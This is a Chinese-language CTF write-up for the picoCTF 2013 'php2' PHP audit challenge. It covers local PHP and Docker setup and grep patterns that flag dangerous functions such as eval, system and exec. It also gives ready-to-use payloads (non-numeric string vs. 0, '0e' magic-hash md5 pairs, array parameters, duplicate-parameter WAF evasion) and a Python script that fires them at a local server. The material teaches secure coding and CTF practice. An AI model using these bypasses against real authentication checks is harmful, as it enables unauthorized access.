简介:PICO CTF 2013 php2 是一份围绕CTF挑战赛展开的PHP安全学习资源,面向CTF新手、安全竞赛备赛选手,以及希望提升Web代码审计能力的开发者。资源完整收录PICO CTF 2013中php2赛题的题目环境与源码,重点训练通过静态阅读PHP代码发现漏洞的能力。压缩包共4个文件:PHP源码与题目页面便于直接分析,MP4录屏完整演示漏洞发现到Payload构造的解题过程,PPT讲解梳理PHP常见漏洞类型,DOCX笔记则整理了关键代码段、利用条件与加固建议。整体约18.85MB,已有159人学习下载。学习后可系统理解SQL注入、XSS、文件包含等漏洞的成因、检测方法和修复要点,也能借此熟悉CTF解题的思考路径与工具使用,适合用于赛前突击和赛后复盘。
1. PICO CTF 2013 php2 是什么:一道把“PHP 弱比较绕过”讲透的入门题
CTF 入门第一年最容易碰到的题目类型,就是像 PICO CTF 2013 php2 这种打包成 .rar 的 PHP 源码审计题。它不考你多复杂的利用链,而是把一个容易被忽略的 PHP 比较逻辑做成关卡:你向页面传参数,它拿参数跟固定值比,比过了就吐 flag。这类题真正的价值,是逼你把“==”和“===”的区别、数组与字符串比较的边界、URL 参数传递的槽点一次看透。
适合刚开始刷 php 方向、准备做 ctf web 解题找 flag 的 ctf 入门玩家,也适合想在内部演练里给同事出题的人。你只需要一个本地 PHP 环境,就能把这道题的思路完整复现出来。标题里的 php2 说明它是系列里的第二关,通常第一关教你怎么读源码,第二关开始出现第一个真正的“绕过点”。下面我按自己拿到这类压缩包后的处理顺序,把环境、审计、绕过和坑一次讲完。
2. 拿到 php2.rar 之前:搭一个最小可复现的 PHP 审计环境
静态读源码容易漏,尤其是 PHP 的弱比较行为,不同版本差别很大。我一般先把环境立起来,再去看代码。这里说的环境不需要数据库、不需要 nginx,一个 PHP 内置服务器和一个解压工具就够。
2.1 用 php -S 起本地调试服务:只需要一条命令
最常见做法是直接在解压目录里起 PHP 内置服务器:
cd /path/to/php2_src php -S 127.0.0.1:8000-S是 PHP CLI 自带的开发服务器参数,127.0.0.1:8000表示只在本机监听 8000 端口。它默认把当前目录当作文档根目录,访问http://127.0.0.1:8000/index.php就能跑起来。如果目录里入口文件不叫 index.php,得用-t指定根目录,或者直接访问完整文件名。
先确认本机 PHP 版本,这步决定了后面哪些 payload 能用:
php -v如果你本地没装 PHP,用 Docker 拉一个老版本镜像最省事:
docker run --rm -p 8000:80 -v "$PWD":/var/www/html php:7.4-apache这条命令把当前目录挂载到容器里的 Apache 网页根目录,访问http://127.0.0.1:8000就等于访问你解压出来的源码。选 7.4 而不是最新版,是因为 PICO CTF 2013 那个年代的题目大量依赖 PHP 5/7 的松散比较行为,PHP 8 收紧了一部分规则,直接上最新版容易把老题跑出“怪病”。
起好服务后先 curl 一下页面,确认能正常响应:
curl -i "http://127.0.0.1:8000"看到 HTTP 200 就说明 PHP 解析正常。如果这一步就 500,先别急着审题,大概率是源码本身需要特定扩展,或者文件编码出了问题。
2.2 解压 .rar 的两种命令与文件编码检查
Linux 下解压 .rar 优先用unrar,没有就退到7z:
unrar x php2.rar # 或 7z x php2.rarx是解压到当前目录并保留压缩包内目录结构。解压前我习惯先看清单,确认里面有哪几个文件,避免解压出奇怪路径:
unrar l php2.rarWindows 下我用 7-Zip 右键解压,不太推荐某些国产压缩软件默认的“解压到当前文件夹”,碰到压缩包内文件名的编码不兼容时,解压出来文件名会乱码,连带着 include 路径失效。解压完先做两件事:看文件类型、看行长格式:
file *正常情况下 PHP 源码会显示ASCII text或Unicode text。如果显示ISO-8859或者带with very long lines,说明文件可能被改过编码或不是标准 UTF-8。PHP 5 时代很多老代码是中文 GBK 注释,浏览器访问时输出乱码,但代码逻辑不受影响。真要转回 UTF-8,用 iconv:
iconv -f GBK -t UTF-8 index.php > index.php.utf8 && mv index.php.utf8 index.php注意先备份原文件,别直接覆盖。文件编码问题不会影响比较逻辑,但会影响你读代码的效率和php -l的解析结果。
2.3 审计前的静态圈定:grep 找出所有危险行为函数
打开 VSCode 之前,我先用 grep 把源码里的关键函数全部拉出来。PHP Web 题的高频点无外乎文件包含、命令执行、代码执行、参数接收四类:
grep -rnE "eval|system|exec|passthru|shell_exec|assert|include|require" .参数含义:-r递归子目录,-n输出行号,-E启用扩展正则,最后的.表示当前目录。如果你是 Windows 且没装 grep,VSCode 里按Ctrl+Shift+F搜同样内容也行。
这一步的价值不是直接找到漏洞,而是判断题目类型。如果搜完发现只有include和require,那大概率是文件包含题;如果出现eval和assert,就奔着代码执行去。对 php2 这类入门题来说,入口脚本一般不大,几十行到几百行,搜完函数还要看参数流向:
grep -rn "\$_GET\|\$_POST\|\$_REQUEST\|\$_COOKIE" .这个命令把脚本里所有接收用户输入的位置和行号列出来。审计顺序我习惯从参数接收处开始,沿着变量往比较逻辑追。真正需要重点盯的是比较符号,==和===在 PHP 里的语义完全不同,一行命令直接看:
grep -rn "==\|===" .grep 输出的每一行就是一道题的“关卡”。有些压缩包会塞一堆无用的 css、txt 文件干扰视线,静态圈定能把审计范围压缩到几个文件、几行代码里。
3. 解压 php2.rar 以后先干什么:三个入口按顺序过
拿到压缩包后不要急着抓包,先把源码当黑匣子拆。我的顺序是:先看目录结构猜题目类型,再列参数接收点,最后把判定条件单独抄出来研究。三步走完,题目考什么基本就清楚了。
3.1 入口一:目录结构与文件清单,先猜题目要考什么
列出所有文件和大小:
ls -la find . -type f | sort常见结构是下面几张牌,具体文件名因题而异:
| 常见文件 | 作用 |
|---|---|
| index.php | 入口脚本,接收参数并做判断 |
| flag.php | 定义 flag 变量,或直接输出 flag |
| config.php | 配置项、白名单、黑名单 |
| readme.txt | 出题人留下的提示 |
| 其他图片/文本 | 干扰项或附加信息 |
文件大小是个很灵的指标。flag.php 只有几百字节,多半是变量定义文件,内容形如$flag = "..."。入口文件 2~5KB 是正常体量,也就几十行判断逻辑。如果入口文件几十 KB,说明题目在大量混淆或冗余代码里藏逻辑,入门题一般不会这么狠。
先看入口脚本开头,确认它 include 了谁:
head -50 index.php看到include "flag.php"时,别直接访问 flag.php 想偷看内容。这种文件通常依赖入口脚本里预先定义的上下文,直接访问很可能输出空白或报错。flag.php 只是被加载进来,真正决定 flag 给不给你的逻辑在 index.php 里。
3.2 入口二:超全局变量表,追踪每个参数的流向
把入口脚本里所有超全局变量按行号拉出来:
grep -noE "\$_(GET|POST|REQUEST|COOKIE)\[[^]]*\]" index.php-o只输出匹配的部分,-n带行号。结果长这样:
8:$_GET['pass'] 15:$_GET['user']这两行就是“入口参数表”。逐个人工追一下变量流向,最后都会汇聚到某个 if 判断里。常见的源码形态是:
$pass = $_GET['pass']; if ($pass == $secret) { echo $flag; }这种代码最难的不是找参数,而是拿到$secret的值。如果题目里$secret写在别的文件,就把所有文件里的变量赋值都 grep 一遍。还有一种容易被忽略的形态是用了$_REQUEST,它同时收集 GET、POST 和 Cookie,优先级由php.ini里的variables_order决定,默认是 GET 先于 POST,后到的覆盖先到的。这意味着你要传参时,同一个参数名在 GET 和 POST 里各放一次,结果可能不一样。
参数名本身也有讲究。PHP 会把请求字符串里的点号和空格自动转成下划线,比如传a.b=1,脚本里读的是$_GET['a_b']。如果源码里写的是$_GET['a_b'],你直接传a_b当然也行,但传a.b也会被 PHP 转成下划线生效。这个特性在后面绕过里能派上用场。
3.3 入口三:判定点与输出点,把“过关条件”单独抄出来
判定点就是 if,输出点就是 echo 和 include。我一般会把判定逻辑抄到一个独立的本地验证文件里,改成带注释的版本:
<?php // 本地验证版:把题目判定逻辑抄过来,不依赖原文件 $pass = $_GET['pass'] ?? ''; if ($pass == 0) { echo "flag{local_test}\n"; }为什么非要抄出来?因为比赛平台上发一次请求有延迟,响应里还混着页面模板、告警、干扰信息。判定逻辑抄到本地后,你可以把注意力完全放在比较语义上,用一行 curl 就能验证这个分支会不会进。等本地验证通了,再把同样的参数拼到平台上就行。
如果判定逻辑依赖 config.php 里的变量,抄的时候顺手把依赖变量一起抄进来,用var_dump($secret);打印出来看。注意只在本地副本上这么干,别把调试代码提交到平台。输出点附近的文案也有用:页面回显“Invalid pass”和“Not this time”两种不同字符串时,你就能通过响应内容判断自己卡在了哪个分支,这也是一种黑匣子探测。
4. 复现 php2 的绕过链路:三种打法与可抄 payload
把判定逻辑摸清之后,剩下的事就是构造参数。下面三种打法覆盖了 php 类 CTF 题里最常见的三类判定写法。遇到新题先对照判定点属于哪一类,再决定用哪个 payload,不要上来就乱试。
4.1 打法一:非数字字符串与 0 的弱比较,PHP 7 与 PHP 8 差异明显
典型判定形态:
if ($_GET['pass'] == 0) { echo $flag; }在 PHP 7 及更早版本里,"abc" == 0的值是 true。原因是非数字开头的字符串在与整数比较时,会被尝试转换成整数,"abc"转换失败后变成 0,于是 0 等于 0。直接传pass=abc就能过。
curl "http://127.0.0.1:8000/index.php?pass=abc"这招在 PHP 8 里失效。PHP 8 改了字符串与数字比较的规则:字符串不是合法数字串时,不再做隐式转换,而是直接返回 false。各版本行为对比如下:
| PHP 版本 | "abc" == 0 | 原因 |
|---|---|---|
| PHP 5.x | true | 字符串尝试转 int,非数字串转成 0 |
| PHP 7.x | true | 规则同前 |
| PHP 8.x | false | 非 numeric string 不做数值转换 |
本地想验证自己环境的真实行为,跑一段最小代码:
<?php var_dump("abc" == 0); // PHP 8 输出 false,PHP 7 输出 true var_dump("0e1" == 0); // true,0e1 是合法科学计数法,值为 0注意"0e1" == 0在 PHP 8 里仍然是 true,因为0e1是合法的数字字符串,会被转成数值 0。这个差异提醒我们:看到== 0的判定,先确认目标平台版本。平台版本差一个主号,解题思路就可能完全不同。
4.2 打法二:两个 0e 开头的字符串做 md5 碰撞,选串先过 is_numeric
典型判定形态:
if (md5($_GET['a']) == md5($_GET['b'])) { echo $flag; }原理不是哈希碰撞。当 md5 结果恰好是0e开头的纯数字字符串时,它会被当作科学计数法,数值为 0。两个不同的原始字符串,只要 md5 结果都以0e开头且后续是合法数字,它们用==比较时都等于数值 0,于是相等。
curl "http://127.0.0.1:8000/index.php?a=QNKCDZO&b=240610708"这两个字符串是经典组合。md5("QNKCDZO")的结果以0e830400451993494058024219903391开头,md5("240610708")的结果是0e462097431906509019562988736854,两边在数值语义下都是 0,==成立,但===不成立,因为字符串内容本身不同。
选串之前先验证一下是不是合法数字串,这步能省掉大量无效请求:
<?php foreach (["QNKCDZO", "240610708", "s878926199a"] as $s) { $m = md5($s); echo $s, " => ", $m, " ", var_export(is_numeric($m), true), "\n"; }is_numeric返回 true 才代表这个 md5 串在比较时会被当作数字。网上流传的所谓 magic hash 表里,有些串虽然以 0e 开头,但后续混进了 a-f 之外的形态导致不是合法数字串,抄过来直接跑会翻车。这条同样依赖 PHP 的松散比较,PHP 8 里两个合法数字串做==比较时仍按数值比较,所以 0e 打法在 PHP 8 下依然成立。但如果题目把比较符换成了===,这个打法就失效了,需要看下一种。
4.3 打法三:数组绕过哈希比较,严格等于也拦不住
典型判定形态:
if (md5($_GET['a']) === md5($_GET['b'])) { echo $flag; }严格比较看起来无解,但 PHP 7 及更早版本有个经典特性:md5()接收数组参数时,不会报致命错误,而是返回null并抛一个 E_WARNING。两个 null 做严格比较自然相等。
curl "http://127.0.0.1:8000/index.php?a[]=1&b[]=2"a[]=1表示提交一个名为 a 的数组,PHP 解析后$_GET['a']是array([0] => 1),md5 函数收到数组后返回 null。两边都是 null,null === null成立。本地验证代码:
<?php // PHP 7 及以下:md5([]) 返回 null 并产生 warning var_dump(md5([]) === md5([])); // true这里有个关键前提:平台必须是 PHP 7 及以下。PHP 8 里md5([])会直接抛出 TypeError,脚本终止,页面变成 500,flag 不会输出。所以数组绕过不是版本无关的万能打法,用之前先确认平台版本。PICO CTF 2013 那个年代的平台就是老 PHP,这套在当时属于必会技能。
还有一种参数污染形态顺手记一下:index.php?pass=guest&pass=admin,PHP 解析同名参数时取最后一个值。如果中间有一层 WAF 只检查第一个值,就可能被绕过。入门题很少考这个,但知道它在能帮你理解 PHP 参数解析的顺序模型。
5. 避坑:php 类 CTF 题目最常翻车的五个点
下面几条都是实战里反复出现的现象,按“现象 → 原因 → 解决”写。你如果照着做还卡住,先来这章对号入座。
5.1 现象:rar 解压后 PHP 文件乱码、访问直接 500
Windows 下用 WinRAR 解压,VSCode 打开 index.php 看到中文全乱码,浏览器访问直接 500 或输出一堆空白。原因有两个:压缩包内文件是 UTF-8 编码,被某些解压工具或后续另存操作改成了 GBK/ANSI;或者压缩包内文件名用的 GBK,解压后文件名乱码,导致 include 相对路径失效。
解决:统一用 7-Zip 解压,解压后先file *看编码,再用php -l index.php检查语法。php -l是 lint 检查,只报解析错误不执行代码。确认是编码问题就用 iconv 转回 UTF-8:
iconv -f GBK -t UTF-8 index.php > index.php.utf8 && mv index.php.utf8 index.php改文件前留备份,因为有些代码里的中文字符串被转码后会破坏原来的逻辑判断。跑不起来先怀疑环境,再怀疑 payload。
5.2 现象:payload 对着错误参数名打了一整晚
抓包看到pass=abc发送成功,页面一直回显 try again,怎么改都无效。原因多半是你打的参数名在源码里根本不存在。入口脚本可能用的是$_REQUEST['password']或$_POST['passwd'],你却一直在往pass上打;或者参数名带点号和空格,PHP 已经自动转成下划线。
解决:先把参数名列出来,再逐个参数探测。用一段 bash 循环快速看哪个参数名会有不同回显:
for key in user pass passwd password id name; do curl -s "http://127.0.0.1:8000/index.php?$key=1" done哪个参数返回了不同的页面内容,哪个就是真入口。这道工序花两分钟,能省掉一整晚的无用功。
5.3 现象:0e 绕过在自己机器上失效,开始怀疑人生
从网上抄了 md5 0e 碰撞串列表,本地怎么打都不出 flag。原因很隐蔽:有些串虽然以0e开头,但后续不是合法数字串,is_numeric返回 false。PHP 里字符串与字符串做==比较时,只有两边都被识别为合法数字串才会转数值比较;只要有一边不是,就走字符串比较,结果自然不相等。
解决:拿到的 0e 串先过一遍is_numeric验证。前面 4.2 的验证脚本就是干这个的。不要盲目相信列表,列表里混着不能用的情况不少。还要注意 md5 值可能以0e开头但后面出现 a-f 字母,这样的串不是纯科学计数法格式,直接排除。
5.4 现象:数组绕过时页面出现告警,以为 payload 没生效
传a[]=1&b[]=2,页面顶部冒出“md5() expects parameter 1 to be string, array given”,响应里看不到 flag,容易误判为失败。原因是在 PHP 7 里 md5 收到数组返回 null 并产生 E_WARNING,但比较逻辑仍然继续执行,flag 可能出现在告警文本后面,或者被输出缓冲冲掉了。
解决:本地测试脚本里先关掉告警,再判断逻辑是否达成:
<?php error_reporting(0); $a = $_GET['a'] ?? null; $b = $_GET['b'] ?? null; if (@md5($a) === @md5($b)) { echo "FLAG: local\n"; }用 curl 查看响应时也把告警和正文一起看:
curl -i "http://127.0.0.1:8000/index.php?a[]=1&b[]=2" | tail -20PHP 8 环境下数组绕过会变成 TypeError 导致脚本直接终止,那是另一回事,别和 PHP 7 的告警混在一起。
5.5 现象:环境玄学:PHP 版本差异导致的“平台能过本地不能过”
平台一发即中,本地复现同样 payload 从头失败,或者反过来。原因基本可以锁定在 PHP 版本差异上。PICO CTF 2013 时期的平台是 PHP 5.x,弱比较规则宽松;本地装了 PHP 8.x,规则收紧,老 payload 全线失效。
解决:给本地配一个 PHP 5.6 环境专门复现老题:
docker run --rm -p 8001:80 -v "$PWD":/var/www/html php:5.6-apache挂载同一份源码,两个端口分别跑 5.6 和 7.4,对比同一 payload 的行为差异。如果老题在 5.6 上跑通、在新版上跑不通,基本锁定是语言行为差异,不是 payload 构造错误。以后遇到类似历史题目,先看平台版本再决定用哪套打法,这就是吃一堑长一智。
6. 进阶:把 php2 的套路固化成自己的 PHP 题目自查模板
老题的价值不在 flag,而在它把 PHP 最常见的几个绕过点浓缩成了一个可复现的样本。下面三个动作能把这次经验沉淀成模板,以后遇到新题直接套。
6.1 写一个 30 行的本地判定点测试脚本
每次遇到 php 题目,先把判定逻辑抄进一个独立文件:
<?php // 本地判定点测试脚本:把原题 if 抄到下面 error_reporting(0); $a = $_GET['a'] ?? null; $b = $_GET['b'] ?? null; // 原题判定(示例,按实际修改) if (@md5($a) == @md5($b)) { echo "FLAG: local\n"; } else { echo "NO\n"; }error_reporting(0)关掉告警避免干扰;@错误抑制符在 PHP 7 下能挡住 warning,但在 PHP 8 下挡不住 TypeError,所以脚本必须按目标平台版本运行。这个脚本的唯一职责是验证“给定 payload,判定成不成立”,完全不碰网络请求。
6.2 把三类 payload 整理成 Python 模板,遇到新题先跑一遍
把 4.1 到 4.3 的 payload 集中到一个 Python 脚本里:
import requests url = "http://127.0.0.1:8000/index.php" payloads = [ {"pass": "abc"}, # 弱比较 == 0(PHP7) {"a": "QNKCDZO", "b": "240610708"}, # md5 0e 串 {"a[]": "1", "b[]": "2"}, # 数组绕过(PHP7) ] for params in payloads: r = requests.get(url, params=params, timeout=5) print(params, "->", r.status_code, r.text[:200].replace("\n", " "))requests.get的params参数会按字典自动拼查询串,a[]会被正确编码成a%5B%5D=1,服务端收到的就是数组。跑完一遍看哪个 payload 的响应状态码或前 200 字与其他不同,再针对异常分支做人工审计。遇到带 token 或 cookie 的题,在脚本里补上headers和cookies即可。
6.3 用 Docker 拉两个 PHP 版本做对照,避免环境玄学
同一份源码在两个 PHP 版本下的比较行为可能完全不同,尤其是弱比较和数组传参。用两个容器做对照:
docker run --rm -d -p 8005:80 -v "$PWD":/var/www/html php:5.6-apache docker run --rm -d -p 8007:80 -v "$PWD":/var/www/html php:7.4-apache-d后台运行,两个端口互不干扰,同一份代码在两种环境下的行为可以直接对比。如果老题在 5.6 上跑通、在 7.4 上跑不通,基本可以锁定是语言行为差异,而不是 payload 写错。我现在的习惯是,拿到一个 php 题目压缩包,先把判定点抄出来跑版本对照,再决定上哪套 payload。这个习惯帮我省掉了大量在平台上反复试探的时间。对 PICO CTF 2013 php2 这种入门题,真正值钱的不是那个 flag,而是这套“先本地复现、再上平台验证”的流程。希望帮到你。
本文还有配套的精品资源,点击获取